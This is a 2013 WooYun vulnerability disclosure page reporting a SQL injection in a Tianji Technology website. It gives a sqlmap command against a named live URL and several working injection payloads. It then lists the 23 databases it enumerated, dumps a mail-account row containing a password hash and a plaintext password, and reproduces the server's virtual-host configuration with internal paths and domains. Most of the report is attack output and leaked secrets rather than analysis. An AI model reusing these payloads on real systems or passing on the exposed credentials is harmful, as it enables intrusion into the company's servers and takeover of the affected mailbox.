当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040394

漏洞标题:天玑科技 sql注入漏洞导致数据泄漏

相关厂商:天玑科技

漏洞作者: 盈盈无绪

提交时间:2013-10-21 16:17

修复时间:2013-12-05 16:18

公开时间:2013-12-05 16:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-12-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

天玑科技 sql注入漏洞导致数据泄漏
包括邮箱等

详细说明:

./sqlmap.py -u "http://www.dnt.com.cn/en/business.php?id=88"
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=88 AND 4724=4724
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: id=-2461 UNION ALL SELECT NULL,NULL,CONCAT(0x71647a7471,0x436b626f4778476b4256,0x716a647171),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id=88; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=88 AND SLEEP(5)
available databases [23]:
[*] #mysql50#dntweb.20110121
[*] #mysql50#dntweb.tmp
[*] dedecmsv53gbk
[*] discuz
[*] dntcom2011
[*] dntweb
[*] forum
[*] information_schema
[*] joomla
[*] kb
[*] mysql
[*] phpbb2
[*] phpbb3
[*] redmine
[*] sq_yanhuazhineng
[*] sugarcrm
[*] tdmart
[*] tdmart1
[*] tdshop
[*] tsep
[*] vpopmail
[*] wstore
[*] wstore1
其中vpopmail中带有用户密码明文,导致邮箱内容泄漏
| pw_id | pw_gid | pw_uid | pw_dir | pw_name | pw_gecos | pw_shell | pw_passwd | pw_domain | pw_clear_passwd |
+-------+--------+--------+----------------------------------------------------------+----------------------+----------------------------------------------------------------------------------------------------------------------------------------------+-------------+------------------------------------+----------------+------------------+
| 1 | 0 | 0 | /home/vpopmail/domains/dnt.net.cn/jonathan_du | jonathan_du | jonathan_du | 524288000S | $1$4chmQkSb$8VYrERDC6o6I.BaRPHzy41 | dnt.net.cn | 7Lin8Luo@DNT |
/etc/httpd/conf/httpd.conf
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/dntnet
ServerName www.dnt.net.cn
ErrorLog logs/error_log
CustomLog logs/access_log common
AddDefaultCharset UTF-8
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/tdmart
ServerName www.tdmart.com.cn
AddDefaultCharset UTF-8
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/tdshop
ServerName shop.tdmart.com.cn
AddDefaultCharset UTF-8
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/tdmart1
ServerName www1.tdmart.com.cn
AddDefaultCharset UTF-8
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/comaiora
ServerName www.comaiora.com
AddDefaultCharset UTF-8
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/erp
ServerName erp0.dnt.com.cn
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/helpdesk
ServerName helpdesk.dnt.com.cn
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/maildocs
ServerName mail.dnt.com.cn
ErrorLog logs/mail-error_log
CustomLog logs/mail-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/maildocs
ServerName mail.dnt.net.cn
ErrorLog logs/mail-error_log
CustomLog logs/mail-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/cscmaildocs
ServerName mail.cscglobal.ca
ErrorLog logs/mail-error_log
CustomLog logs/mail-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/htdocs/rsinfo
ServerName www.rsinfo.com.cn
ErrorLog logs/error_log
CustomLog logs/access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/rsinfomaildocs
ServerName mail.rsinfo.com.cn
ErrorLog logs/error_log
CustomLog logs/mail-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /pub/wwwroot/tdmartmaildocs
ServerName mail.tdmart.com.cn
ErrorLog logs/error_log
CustomLog logs/mail-access_log common
</VirtualHost>

漏洞证明:

mail.png

修复方案:

你们懂得

版权声明:转载请注明来源 盈盈无绪@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝